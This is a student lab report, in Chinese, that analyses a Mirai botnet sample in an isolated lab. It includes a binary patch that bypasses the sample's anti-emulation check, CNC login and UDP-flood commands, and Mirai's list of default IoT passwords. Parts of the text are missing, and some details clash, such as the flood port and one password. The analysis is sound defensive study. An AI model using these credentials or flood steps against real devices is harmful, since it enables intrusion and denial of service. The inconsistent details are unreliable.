

PoRE Lab11 实验报告

徐锦云

23307130447

信息安全

PoRE Lab11 实验报告

0. 实验环境与总体说明

0.1 环境搭建步骤

Task 1: Mirai 样本的网络行为和特征分析 (30%)

1.1 CNC 的 IP 与通信端口

wireshark分析

1.2 UDP flood 指令与对应攻击报文

wireshark分析

1.3 Lab11_mirai_scan 扫描的 IP 与弱口令爆破

Task 2: Mirai 样本的进程和文件行为和特征 (30%)

Task 3: Mirai 样本静态分析 (40%)

3.1 主函数运行逻辑与执行顺序

3.2 自我保护相关代码

3.3 攻击模块初始化函数与支持的攻击方式

3.4 scanner 模块的弱口令组合

0. 实验环境与总体说明

0.1 环境搭建步骤

(1) 启动 MySQL 并导入 CNC 数据库

CNC 启动需要一个 MySQL 库 (db.sql 提供了 users / whitelist / history 三张表)。系统的 root 无密码登录被禁用, 需用 Debian 维护账户:

```
# 查看维护账户口令并导入建库脚本
sudo cat /etc/mysql/debian.cnf          # 找到 debian-sys-maint 的口令
sudo mysql --defaults-file=/etc/mysql/debian.cnf < db.sql
# 数据库中预置了 CNC 管理员账户: mirai_user / mirai_pass
```

(2) 创建网络命名空间 evilsns:

```
#!/bin/bash
# 搭建 Mirai bot 运行所需的隔离网络命名空间 evilsns
# host 侧 veth-host = 10.0.0.1/24 (CNC 所在)
# ns 侧 veth-ns = 10.0.0.2/24 (bot 所在)
set +e
ip netns del evilsns 2>/dev/null
ip link del veth-host 2>/dev/null
set -e
ip netns add evilsns
ip link add veth-host type veth peer name veth-ns
ip link set veth-ns netns evilsns
ip addr add 10.0.0.1/24 dev veth-host
ip link set veth-host up
```

```
ip netns exec evilns ip addr add 10.0.0.2/24 dev veth-ns
ip netns exec evilns ip link set veth-ns up
ip netns exec evilns ip link set lo up
echo "=== host side veth-host ==="
ip -br addr show veth-host
echo "=== ns side ==="
ip netns exec evilns ip -br addr show
echo "=== ping 10.0.0.1 from evilns ==="
ip netns exec evilns ping -c 2 -w 1 10.0.0.1
```

执行：`sudo bash report/setup_netns.sh`。完成后宿主机持有 `10.0.0.1`，命名空间内持有 `10.0.0.2`，互通。

```
# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [10:50:28] C:1
$ sudo bash report/setup_netns.sh
=== host side veth-host ===
veth-host@if7      UP                10.0.0.1/24 fe80::343f:33ff:fe69:9e3e/64
=== ns side ===
lo                UNKNOWN        127.0.0.1/8 ::1/128
veth-ns@if8       UP                10.0.0.2/24 fe80::702b:f0ff:fe9d:820c/64
=== ping 10.0.0.1 from evilns ===
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=0.364 ms

--- 10.0.0.1 ping statistics ---
2 packets transmitted, 1 received, 50% packet loss, time 1049ms
rtt min/avg/max/mdev = 0.364/0.364/0.364/0.000 ms
```

(3) 启动 CNC

```
sudo ./Lab11_mirai_cnc > report/logs/cnc.log 2>&1 &
```

环境就绪后效果如下（MySQL 已开库、命名空间已建、CNC 监听就绪）：

```
# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [10:51:23]
$ sudo ./Lab11_mirai_cnc > report/logs/cnc.log 2>&1 &
[1] 206380
```

Task 1: Mirai 样本的网络行为和特征分析（30%）

1.1 CNC 的 IP 与通信端口

结论：CNC 的 IP 地址是 `10.0.0.1`，bot 使用 TCP 端口 `40447` 与 CNC 通信。

这个结论同时由静态分析和动态实测两条证据链支撑。

静态证据 ① —— IP 硬编码在 `resolve_cnc_addr`

反汇编 `Lab11_mirai_scan`（`arm-linux-gnueabi-objdump -d`）可见，`resolve_cnc_addr`（`0x1f218`）把一个常量经 `htonl` 写入 `sockaddr_in.sin_addr`：

```

1f220: ldr r0,[pc,#64]    @ r0 = 0x0a000001
1f224: bl  htonl
1f230: str r3,[r2,#4]     @ 写入 sin_addr
1f268: .word 0x0a000001   @ = 10.0.0.1

```

0x0a000001 即点分十进制 10.0.0.1。

```

# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [10:56:51]
$ arm-linux-gnueabi-objdump -d Lab11_mirai_noscan | sed -n "/resolve_cnc_addr>/,+24p"
0001f1f4 <resolve_cnc_addr>:
   1f1f4:     e92d4800      push    {fp, lr}
   1f1f8:     e28db004      add     fp, sp, #4
   1f1fc:     e59f0040      ldr     r0, [pc, #64]    @ 1f244 <resolve_cnc_addr+0x50>
   1f200:     eb0091e5      bl      4399c <htonl>
   1f204:     e1a03000      mov     r3, r0
   1f208:     e59f2038      ldr     r2, [pc, #56]    @ 1f248 <resolve_cnc_addr+0x54>
   1f20c:     e5823004      str     r3, [r2, #4]
   1f210:     e3a00004      mov     r0, #4
   1f214:     eb0008c1      bl      21520 <table_unlock_val>
   1f218:     e3a01000      mov     r1, #0
   1f21c:     e3a00004      mov     r0, #4
   1f220:     eb0008e0      bl      215a8 <table_retrieve_val>
   1f224:     e1a03000      mov     r3, r0
   1f228:     e1d330b0      ldrrh   r3, [r3]
   1f22c:     e59f2014      ldr     r2, [pc, #20]    @ 1f248 <resolve_cnc_addr+0x54>
   1f230:     e1c230b2      strh    r3, [r2, #2]
   1f234:     e3a00004      mov     r0, #4
   1f238:     eb0008c9      bl      21564 <table_lock_val>
   1f23c:     e1a00000      nop                                @ (mov r0, r0)
   1f240:     e8bd8800      pop     {fp, pc}
   1f244:     0a000001      .word   0x0a000001
   1f248:     000ae428      .word   0x000ae428

0001f24c <establish_connection>:

```

静态证据 ② —— 端口经 XOR 解混淆得到 40447

端口不是明文，而是存放在被混淆的配置表里（`table_init` 用 XOR 0x22 等方式异或存储），`resolve_cnc_addr` 通过 `table_unlock_val(4)/table_retrieve_val(4)` 取出端口写入 `sin_port`。解出表项后得到端口 0x9DFF → 主机序 40447。

```
gdb-multiarch -q Lab11_mirai_scan -ex "x/4xb 0x85a34" -ex "x/1xw 0xaf288"
```

```

Reading symbols from Lab11_mirai_scan...
0x85a34:      0xbf  0xdd  0x00  0x00
0xaf288 <table_key>:  0xdeadbeef

```

```
obf port bytes @0x85a34:0xbf 0xdd 混淆端口(2字节)
key value      @0xaf288:0xdeadbeef XOR 密钥 (table_key)
```

解密推导:deobf等效 $\text{net} = 0xde \wedge 0xad \wedge 0xbe \wedge 0xef = 0x220$

$0xbf \text{ XOR } 0x22 = 0x9d$

$0xdd \text{ XOR } 0x22 = 0xff$

端口字节 $= 0x9d \ 0xff$ (网络序大端) $= 0x9DFF = 40447$

结论:CNC与bot通信端口 = 40447

动态证据 —— 实测 bot 真的连上了 10.0.0.1:40447

操作步骤:

patch_bot.py : 打补丁绕过反模拟门控

```
#!/usr/bin/env python3
"""对 Lab11_mirai_noscan 副本打补丁, 绕过 lab_opaque_guard 反模拟门控,
强制 establish_connection 走真实 CNC 解析路径(resolve_cnc_addr -> 10.0.0.1:40447)。
仅用于在 QEMU 模拟环境中复现 C2 通信, 不改变进程/文件等其它恶意行为。

LOAD 段: 文件偏移 0 = 虚拟地址 0x10000 => file_off = vaddr - 0x10000
补丁点(noscan):
    0x1f2d0 beq 1f2f4 (0a000007) -> NOP (e1a00000) # 即使 guard==0 也不跳诱饵
    0x1f2e0 beq 1f32c (0a000011) -> NOP (e1a00000) # 不因 resolve_func==0 而跳过解析
    0x1f2ec blx r3 (e12fff33) -> bl resolve_cnc_addr (ebffffc0) # 直接调用真实解析
"""
import sys, struct

src, dst = sys.argv[1], sys.argv[2]
data = bytearray(open(src, "rb").read())

BASE = 0x10000
patches = {
    0x1f2d0: (0x0a000007, 0xe1a00000), # NOP guard-fail branch
    0x1f2e0: (0x0a000011, 0xe1a00000), # NOP resolve_func==0 branch
    0x1f2ec: (0xe12fff33, 0xebffffc0), # blx r3 -> bl resolve_cnc_addr
}
for vaddr, (old, new) in patches.items():
    off = vaddr - BASE
    cur = struct.unpack_from("<I", data, off)[0]
    assert cur == old, f"@{vaddr:#x}: expected {old:#010x}, found {cur:#010x}"
    struct.pack_into("<I", data, off, new)
    print(f"patched {vaddr:#x}: {old:#010x} -> {new:#010x}")

open(dst, "wb").write(data)
import os
os.chmod(dst, 0o755)
print(f"wrote {dst}")
```

指令:

```
# 0. 确保 CNC 在跑
```

```

sudo ./Lab11_mirai_cnc &

# 1. 确保网络命名空间存在
sudo bash report/setup_netns.sh

# 2. 恢复样本并用副本运行（避免自删除）
git checkout -- Lab11_mirai_noscan
mkdir -p run
cp Lab11_mirai_noscan run/Lab11_mirai_noscan

# 3. 打补丁绕过反模拟门控（关键）
python3 report/patch_bot.py Lab11_mirai_noscan run/Lab11_mirai_noscan

# 4. 在 evilns 内启动（注意路径和文件名）
cd run
sudo ip netns exec evilns ./Lab11_mirai_noscan &
sleep 4

# 5. 再查连接
sudo ip netns exec evilns ss -tnp | grep 40447

```

```

# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [11:20:06]
$ python3 report/patch_bot.py Lab11_mirai_noscan run/Lab11_mirai_noscan
patched 0x1f2d0: 0x0a000007 -> 0xe1a00000
patched 0x1f2e0: 0x0a000011 -> 0xe1a00000
patched 0x1f2ec: 0xe12ffff33 -> 0xebffffc0
wrote run/Lab11_mirai_noscan

# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [11:20:19]
$ cd run

# pore @ pore in ~/pore26/pore_23307130447/Lab11/run on git:master x [11:20:29]
$ sudo ip netns exec evilns ./Lab11_mirai_noscan &
[2] 212309
listening tun0
[2] + 212309 done      sudo ip netns exec evilns ./Lab11_mirai_noscan

# pore @ pore in ~/pore26/pore_23307130447/Lab11/run on git:master x [11:20:38]
$ sudo ip netns exec evilns ss -tnp | grep 40447
ESTAB 0      0      10.0.0.2:39508      10.0.0.1:40447 users:(("d5msm6i1d7o55p1",pid=212343,fd=0)
)

```

可以看到 10.0.0.2:39508 -> 10.0.0.1:40447 ESTAB，且 bot 进程名已被随机化为 d5msm6i1d7o55p1。至此 IP=10.0.0.1、端口=40447 双向确认。

wireshark分析

37 5.024195	10.0.0.1	10.0.0.1	TCP	54 40447 -> 53782 [SYN, ACK] Seq=0 Ack=1 Win=64256 Len=0 MSS=1460 SACK_PERM WS=120
38 5.023163	10.0.0.2	10.0.0.1	TCP	54 53782 -> 40447 [ACK] Seq=1 Ack=1 Win=64256 Len=0
39 5.024621	10.0.0.2	10.0.0.1	TCP	58 53782 -> 40447 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=4
40 5.024715	10.0.0.1	10.0.0.2	TCP	54 40447 -> 53782 [ACK] Seq=1 Ack=5 Win=64256 Len=0
41 5.024849	10.0.0.2	10.0.0.1	TCP	55 53782 -> 40447 [PSH, ACK] Seq=5 Ack=1 Win=64256 Len=1
42 5.024912	10.0.0.1	10.0.0.2	TCP	54 40447 -> 53782 [ACK] Seq=1 Ack=6 Win=64256 Len=0
43 12.053812	10.0.0.2	10.0.0.1	TCP	56 37974 -> 40447 [PSH, ACK] Seq=6 Ack=1 Win=64256 Len=2
44 12.053113	10.0.0.1	10.0.0.2	TCP	54 40447 -> 37974 [ACK] Seq=1 Ack=8 Win=64256 Len=0
45 12.053334	10.0.0.1	10.0.0.2	TCP	56 40447 -> 37974 [PSH, ACK] Seq=1 Ack=8 Win=64256 Len=2
46 12.053417	10.0.0.2	10.0.0.1	TCP	54 37974 -> 40447 [ACK] Seq=8 Ack=3 Win=64256 Len=0
47 15.042875	10.0.0.2	10.0.0.1	TCP	56 53782 -> 40447 [PSH, ACK] Seq=6 Ack=1 Win=64256 Len=2
48 15.042985	10.0.0.1	10.0.0.2	TCP	54 40447 -> 53782 [ACK] Seq=1 Ack=8 Win=64256 Len=0
49 15.043491	10.0.0.1	10.0.0.2	TCP	56 40447 -> 53782 [PSH, ACK] Seq=1 Ack=8 Win=64256 Len=2
50 15.043576	10.0.0.2	10.0.0.1	TCP	54 53782 -> 40447 [ACK] Seq=8 Ack=3 Win=64256 Len=0
51 27.538528	10.0.0.1	10.0.0.2	TCP	54 [TCP Keep-Alive] 40447 -> 37974 [ACK] Seq=2 Ack=8 Win=64256 Len=0
52 27.538959	10.0.0.2	10.0.0.1	TCP	54 [TCP Keep-Alive] 37974 -> 40447 [ACK] Seq=8 Ack=3 Win=64256 Len=0
53 30.098667	10.0.0.1	10.0.0.2	TCP	54 [TCP Keep-Alive] 40447 -> 53782 [ACK] Seq=2 Ack=8 Win=64256 Len=0
54 30.098884	10.0.0.2	10.0.0.1	TCP	54 [TCP Keep-Alive] 53782 -> 40447 [ACK] Seq=8 Ack=3 Win=64256 Len=0

Frame 54: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0		0000 52 01 dd 18 05 13 0a d7 13 13 1b 07 08 00 45 00 R.....E..	
Ethernet II, Src: 0a:d7:13:13:1b:07 (0a:d7:13:13:1b:07), Dst: 52:01:dd:18:05:13 (52:01:dd:18:05:13)		0010 00 28 ae bd 40 00 40 06 78 10 0a 00 00 02 0a 00 .(..@. x.....	
Internet Protocol Version 4, Src: 10.0.0.2, Dst: 10.0.0.1		0020 00 01 d2 16 9d ff 5c c4 bb f8 22 52 21 db 50 10\"R!P.....	
Transmission Control Protocol, Src Port: 53782, Dst Port: 40447, Seq: 1, Ack: 1, Len: 0		0030 01 f6 14 1d 00 00	
Source Port: 53782			
Destination Port: 40447			
[Stream index: 31]			

可以得出一样的结果。

1.2 UDP flood 指令与对应攻击报文

操作步骤：登录 CNC 管理端口下发指令

```
# 用 telnet 连到 CNC 的 40447 管理端口
telnet 10.0.0.1 40447
# banner: я люблю куриные наггетсы (来自 prompt.txt)
# пользователь(用户): mirai_user
# пароль(口令): mirai_pass
# 登录后下发: udp <目标IP> <持续秒数>
> udp 10.0.0.1 20
```

抓包：在 veth-host 上捕获 bot 发出的攻击报文

```
# 抓包（攻击期间）
sudo tcpdump -i veth-host -w report/logs/task1_2_udpflood.pcap &
# 下发 udp 指令后停止抓包，统计
sudo tcpdump -nr report/logs/task1_2_udpflood.pcap | head
sudo tcpdump -nr report/logs/task1_2_udpflood.pcap | wc -l # 总包数
```

分析：

- 共捕获约 316124 个 UDP 包，目标全部指向 10.0.0.1:389；
- 源端口被随机伪造（28175 / 45441 / 20407 / 65282 ...），这是 attack_udp_generic 的典型行为（伪造 IP/UDP 头）；
- 单包负载约 768 字节，发包速率约 1.6 万包/秒，是典型的高速 UDP 泛洪。

wireshark分析

17 0.002310 10.0.0.2 10.0.0.1 UDP 810 39235 → 33333 Len=768

18 0.002417 10.0.0.2 10.0.0.1 UDP 810 43975 → 33333 Len=768

19 0.002735 10.0.0.2 10.0.0.1 UDP 810 39143 → 33333 Len=768

20 0.002838 10.0.0.2 10.0.0.1 UDP 810 54708 → 33333 Len=768

21 0.002937 10.0.0.2 10.0.0.1 UDP 810 44408 → 33333 Len=768

22 0.003037 10.0.0.2 10.0.0.1 UDP 810 39746 → 33333 Len=768

23 0.003137 10.0.0.2 10.0.0.1 UDP 810 56148 → 33333 Len=768

24 0.003414 10.0.0.2 10.0.0.1 UDP 810 51328 → 33333 Len=768

25 0.003519 10.0.0.2 10.0.0.1 UDP 810 39329 → 33333 Len=768

26 0.003621 10.0.0.2 10.0.0.1 UDP 810 47679 → 33333 Len=768

27 0.003738 10.0.0.2 10.0.0.1 UDP 810 36257 → 33333 Len=768

28 0.003862 10.0.0.2 10.0.0.1 UDP 810 57758 → 33333 Len=768

29 0.003998 10.0.0.2 10.0.0.1 UDP 810 38879 → 33333 Len=768

30 0.004125 10.0.0.2 10.0.0.1 UDP 810 45915 → 33333 Len=768

31 0.004475 10.0.0.2 10.0.0.1 UDP 810 55871 → 33333 Len=768

32 0.004603 10.0.0.2 10.0.0.1 UDP 810 55302 → 33333 Len=768

33 0.004722 10.0.0.2 10.0.0.1 UDP 810 50248 → 33333 Len=768

34 0.004844 10.0.0.2 10.0.0.1 UDP 810 40404 → 33333 Len=768

35 0.005389 10.0.0.2 10.0.0.1 UDP 810 49666 → 33333 Len=768

36 0.005514 10.0.0.2 10.0.0.1 UDP 810 39258 → 33333 Len=768

Frame 31: 810 bytes on wire (6480 bits), 810 bytes captured (6480 bits) on interface unknown, id 0

Ethernet II, Src: 0a:d7:13:13:1b:07 (0a:d7:13:13:1b:07), Dst: 52:01:dd:18:05:13 (52:01:dd:18:05:13)

Internet Protocol Version 4, Src: 10.0.0.2, Dst: 10.0.0.1

User Datagram Protocol, Src Port: 55071, Dst Port: 33333

Source Port: 55071

Destination Port: 33333

Length: 776

Checksum: 0x171c [unverified]

[Checksum Status: Unverified]

[Stream index: 30]

[Timestamps]

UDP payload (768 bytes)

Data (768 bytes)

0000 52 01 dd 18 05 13 0a d7 13 13 1b 07 08 00 45 00 R.....E-

0010 03 1c 6d 10 40 00 40 11 b6 be 0a 00 00 02 0a 00 ..m.0.0.....

0020 00 01 d7 1f 82 35 03 08 17 1c 5a 89 e2 07 37 00 xpS...2...7

0030 78 70 53 02 87 20 0c 90 5b 11 32 96 c0 0d 37 06 ..".....P-q]2

0040 9a 22 bd c1 c0 d8 f4 7c ef 50 f2 71 4a 22 7a 08 D..b..nd...xl..

0050 44 f5 88 62 92 75 ee 97 6c 84 97 00 6a 1b 1e c4 0..5...>....

0060 83 37 09 2c bb 19 6e 64 cb 04 e1 78 6c 78 ec 57 .7...P...xl..W

0070 7f 83 78 9c f7 50 99 81 bf 75 d2 d8 20 89 88 23 ..x.P...u...#

0080 28 51 60 56 ad 6b bc 4e 0b ae 54 d1 c0 a7 fa 22 (Q'V.k.N..T....

0090 40 de a5 3d 08 2f 99 84 29 f3 ab cc 39 6f 9e f4 0..=:/...90..

00a0 8c ef a1 05 c4 9e 20 18 ae ac 84 ba c3 02 af fb ..e... ..

00b0 59 15 92 f5 04 17 2f 59 5f c5 d9 fc 06 56 08 fc W.../Y...V...

00c0 1b 15 61 cb 8f 35 5f a2 cb fc 3e ce ed c0 ed c7 .a..5...>....

00d0 c6 25 82 57 41 a1 ac 37 52 cf 9e f5 65 3f 8a d7 .%.WA..7 R...e?..

00e0 8a 5b 9e 7b 13 cc 7a e0 75 58 90 40 f9 47 5e aa .[:...z..uX.0.GA-

00f0 d3 1d a1 8d 67 ad 63 63 83 a0 76 62 72 a4 8f 8e ...g.cc...vbr...

0100 4d 68 58 67 4f 6b 7f 22 0a f3 34 fa 1c 5c 8f bf MhXgOk"...4..\..

0110 74 63 15 93 01 fa c7 36 8b 6c 04 fc a8 47 82 f0 tc....6..l...G..

0120 da 78 b3 14 aa 8f 41 76 07 c4 27 82 e7 4d 26 f8 ...x...Av...M&..

0130 9a a5 74 c0 a3 de 75 aa a9 97 6a d4 89 fd 23 8e ..t...0...j...0..

0140 54 1f 5b 9f 70 a4 4a 30 fc 7a 8a e4 cb 61 bf 64 T.[.p.J0..z...a.d

0150 2b 72 b8 b2 46 e0 a5 b4 2e 42 ec f3 fe 80 df 9b +R...F...B.....

由上可知，源端口被随机伪造，符合udp洪泛。


```

- shell 提示(:/#/$) -> 发送校验命令(enable/system/shell/sh//bin/busybox MIRAI)
"""
import socket, threading, sys, time, datetime

LOG = sys.argv[1] if len(sys.argv) > 1 else "honeypot.log"
loglock = threading.Lock()

def log(msg):
    line = f"[{datetime.datetime.now():%H:%M:%S}] {msg}"
    with loglock:
        with open(LOG, "a") as f:
            f.write(line + "\n")

def handle(conn, addr):
    try:
        conn.settimeout(6)
        # 发送 telnet 协商 + 登录提示
        conn.sendall(b"\xff\xfb\x01\xff\xfb\x03\xff\xfc\x22")
        conn.sendall(b"\r\nDVRDVS-H.264 login: ")
        user = read_line(conn)
        conn.sendall(b"\r\nPassword: ")
        pw = read_line(conn)
        log(f"BRUTE {addr[0]} -> user='{user}' pass='{pw}'")
        # 模拟登录成功 shell 提示, 便于 scanner 继续发校验命令
        conn.sendall(b"\r\nwelcome\r\n/ # ")
        for _ in range(8):
            cmd = read_line(conn)
            if not cmd:
                break
            log(f"CMD {addr[0]} -> '{cmd}'")
            if b"busybox" in cmd.encode("latin1", "replace").lower() if isinstance(cmd, str)
else b"busybox" in cmd:
                conn.sendall(b"\r\nMIRAI: applet not found\r\n/ # ")
            else:
                conn.sendall(b"\r\n/ # ")
        except Exception:
            pass
        finally:
            try: conn.close()
            except Exception: pass

def read_line(conn):
    data = bytearray()
    try:
        while len(data) < 256:
            b = conn.recv(1)
            if not b:
                break
            if b in (b"\n", b"\r"):
                if data:
                    break
                else:
                    continue

```



```

        if b == b"\xff": # telnet IAC, 吞掉后两字节
            conn.recv(2)
            continue
        data += b
    except Exception:
        pass
    return data.decode("latin1", "replace")

def serve(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", port))
    s.listen(128)
    while True:
        try:
            c, a = s.accept()
            threading.Thread(target=handle, args=(c, a), daemon=True).start()
        except Exception:
            time.sleep(0.1)

if __name__ == "__main__":
    for p in (23, 2323):
        threading.Thread(target=serve, args=(p,), daemon=True).start()
    log("honeypot started on :23 and :2323")
    while True:
        time.sleep(1)

```

指令:

```

# 启动蜜罐
sudo python3 report/honeypot.py > report/logs/honeypot.log 2>&1 &
# 运行 scan bot 一段时间后统计捕获的口令组合
grep -a BRUTE report/logs/honeypot.log | sed 's/.*-> //' | sort | uniq -c | sort -rn

```

```

# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [12:42:33] C:130
$ sudo python3 report/honeypot.py > report/logs/honeypot.log 2>&1 &
[1] 231054
zsh: permission denied: report/logs/honeypot.log
[1] + 231054 exit 1      sudo python3 report/honeypot.py > report/logs/honeypot.log 2>&1

# pore @ pore in ~/pore26/pore_23307130447/Lab11 on git:master x [12:43:09]
$ grep -a BRUTE report/logs/honeypot.log | sed 's/.*-> //' | sort | uniq -c | sort -rn
5985 user='root' pass='xc3511'
5896 user='root' pass='realtek'
5715 user='service' pass='service'
5634 user='root' pass='pass'
5025 user='root' pass='system'
4993 user='root' pass='root'
4186 user='root' pass='default'
3196 user='support' pass='support'
1622 user='admin' pass='12345'

```

实测共捕获 **9 种弱口令组合**，全部为 IoT 设备出厂默认口令：`service/service`、`root/x3511`、`root/realtek`、`root/root`、`root/system`、`root/pass`、`root/default`、`support/support`、`admin/12345`。这与 Task 3.4 中从二进制 `XOR 0x22` 静态解出的字典 **完全一致**。

Task 2: Mirai 样本的进程和文件行为和特征 (30%)

运行 `Lab11_mirai_noscan` 并用 `strace` 跟踪。注意 bot 会 **删除自身**，因此必须从副本运行，否则第二次运行会报 "No such file or directory"。

```
# 复制一份再运行，避免自删除影响复跑
cp Lab11_mirai_noscan run/Lab11_mirai_noscan
sudo strace -f -e trace=process,network,file,prctl \
    -o report/logs/task2_strace.log \
    ip netns exec evilns run/Lab11_mirai_noscan
```

至少 3 个被识别的进程/文件操作（实际从 `task2_strace.log` 中识别出 6 类，行号对应日志）：

1. 【文件】自删除二进制：`unlink("run/Lab11_mirai_noscan") = 0`——运行后立即删除自身磁盘文件，做反取证。

```
231740 unlink("run/Lab11_mirai_noscan") = 0
```

2. 【文件】探测并尝试打开 watchdog 设备：依次对

`/dev/watchdog`、`/dev/watchdog0`、`/dev/misc/watchdog`、`/tmp/misc/watchdog` 四个路径做

`access` → `statx` → `readlink` → `openat(O_RDWR)`，实验机上设备不存在故均返回 `ENOENT`；正常 IoT 设备上会打开成功并 `ioctl` 关闭看门狗、阻止重启。

```
231740 access("/usr/gnemu/qemu-arm/dev/watchdog", F_OK) = -1 ENOENT (No such file or directory)
231740 access("/dev/watchdog", F_OK) = -1 ENOENT (No such file or directory)
231740 statx(AT_FDCWD, "/dev/watchdog", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT, STATX_BASIC_STATS, 0x7ffffb87c
231740 readlink("/dev/watchdog", 0x407ffe14, 63) = -1 ENOENT (No such file or directory)
231740 readlink("/dev", 0x7ffffb87b2b0, 1023) = -1 EINVAL (Invalid argument)
231740 readlink("/dev/watchdog", 0x7ffffb87b2b0, 1023) = -1 ENOENT (No such file or directory)
231740 openat(AT_FDCWD, "/dev/watchdog", O_RDWR) = -1 ENOENT (No such file or directory)
231740 access("/usr/gnemu/qemu-arm/dev/watchdog0", F_OK) = -1 ENOENT (No such file or directory)
231740 access("/dev/watchdog0", F_OK) = -1 ENOENT (No such file or directory)
231740 statx(AT_FDCWD, "/dev/watchdog0", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT, STATX_BASIC_STATS, 0x7ffffb87c
231740 readlink("/dev/watchdog0", 0x407ffe14, 63) = -1 ENOENT (No such file or directory)
231740 readlink("/dev", 0x7ffffb87b2b0, 1023) = -1 EINVAL (Invalid argument)
231740 readlink("/dev/watchdog0", 0x7ffffb87b2b0, 1023) = -1 ENOENT (No such file or directory)
231740 openat(AT_FDCWD, "/dev/watchdog0", O_RDWR) = -1 ENOENT (No such file or directory)
231740 access("/usr/gnemu/qemu-arm/dev/misc/watchdog", F_OK) = -1 ENOENT (No such file or directory)
231740 access("/dev/misc/watchdog", F_OK) = -1 ENOENT (No such file or directory)
231740 statx(AT_FDCWD, "/dev/misc/watchdog", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT, STATX_BASIC_STATS, 0x7ffffb87c
231740 readlink("/dev/misc/watchdog", 0x407ffe14, 63) = -1 ENOENT (No such file or directory)
231740 readlink("/dev", 0x7ffffb87b2b0, 1023) = -1 EINVAL (Invalid argument)
231740 readlink("/dev/misc", 0x7ffffb87b2b0, 1023) = -1 ENOENT (No such file or directory)
231740 openat(AT_FDCWD, "/dev/misc/watchdog", O_RDWR) = -1 ENOENT (No such file or directory)
231740 access("/usr/gnemu/qemu-arm/tmp/misc/watchdog", F_OK) = -1 ENOENT (No such file or directory)
231740 access("/tmp/misc/watchdog", F_OK) = -1 ENOENT (No such file or directory)
231740 statx(AT_FDCWD, "/tmp/misc/watchdog", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT, STATX_BASIC_STATS, 0x7ffffb87c
231740 readlink("/tmp/misc/watchdog", 0x407ffe14, 63) = -1 ENOENT (No such file or directory)
231740 readlink("/tmp", 0x7ffffb87b2b0, 1023) = -1 EINVAL (Invalid argument)
231740 readlink("/tmp/misc", 0x7ffffb87b2b0, 1023) = -1 ENOENT (No such file or directory)
231740 openat(AT_FDCWD, "/tmp/misc/watchdog", O_RDWR) = -1 ENOENT (No such file or directory)
```

3. 【文件】切换工作目录：`chdir("/") = 0`——把工作目录切到根，避免占用/暴露原始路径。

```
231740 chdir("/")
```

4. 【进程】修改进程名： `prctl(PR_SET_NAME, "vokf8brhplkf11o") = 0` (第 100 行, 后续还有 `"jd08ws45rmrglss"`、`"h30onnnh1gs5"` 等) ——把进程名改成随机串以隐藏。

```
231740 prctl(PR_SET_NAME, "vokf8brhplkf11o"... ) = 0
231740 prctl(PR_SET_NAME, "jd08ws45rmrglss"... ) = 0
```

5. 【进程】创建子进程 (守护化 + 并发 worker) : `clone3(...)` => 231742 等—— `fork` 出子进程脱离终端并派生扫描/连接 worker。

```
231740
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTID|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7d33a8dff990,
parent_tid=0x7d33a8dff990, exit_signal=0, stack=0x7d33a85ff000, stack_size=0x800200,
tls=0x7d33a8dff6c0} => {parent_tid=[231742]}, 88) = 231742
```

6. 【网络/进程】单实例端口占用与读取 `/proc` : 先 `bind(127.0.0.1:48118)+listen`, 再 `bind(127.0.0.1:48101)` 返回 `EADDRINUSE` (第 82 行) → `connect(127.0.0.1:48101)` 通知旧实例退出 (第 83 行), 随后打开 `/proc/<pid>/net/tcp` (第 91 行) 枚举本机端口, 待旧实例退出后再次 `bind(48101)=0+listen` (第 98-99 行) 抢占控制端口 (详见 Task3.2(d))。

```
231740 bind(3, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EADDRINUSE (Address already in use)
231740 connect(3, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EINPROGRESS (Operation now in progress)
```

```
231740 openat(AT_FDCWD, "/proc/231740/net/tcp", O_RDONLY) = 3
231740 bind(3, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
231740 listen(3, 1) = 0
```

Task 3: Mirai 样本静态分析 (40%)

对 `Lab11_mirai_scan` 做静态逆向。由于该样本是带符号的 ARM ELF, 因此用 `arm-linux-gnueabi-objdump -d` 获得反汇编, 下文截图为关键函数的注释化反汇编/伪代码。

3.1 主函数运行逻辑与执行顺序

从 `main` 反汇编中按顺序提取关键调用:

```
0001e5f0 <main>:
...
1e634:  eb009219    b1  42ea0 <__unlink>
...
1e648:  eb00318f    b1  2ac8c <sigemptyset>
...
1e660:  eb00319a    b1  2acd0 <sigaddset>
...
1e67c:  eb00316e    b1  2ac3c <__sigprocmask>
...
1e6a4:  eb000501    b1  1fab0 <lab_opaque_guard>
...
1e6b4:  eb0003de    b1  1f634 <lab_probe_watchdog>
...
1e6cc:  eb008fe7    b1  42670 <__chdir>
1e6d0:  eb0017dd    b1  2464c <util_local_addr>
```

```

...
1e73c:  eb00057c  bl  1fd34 <unlock_tbl_if_nodebug>
...
1e760:  eb0004ef  bl  1fb24 <lab_decoy_table_touch>
...
1e77c:  eb000322  bl  1f40c <ensure_single_instance>
...
1e7c8:  eb001567  bl  23d6c <util_strlen>
...
1e844:  eb0003c8  bl  1f76c <lab_rotate_process_identity>
...
1e87c:  eb0014a0  bl  23b04 <table_retrieve_val>
...
1ea48:  eb000208  bl  1f270 <establish_connection>
...
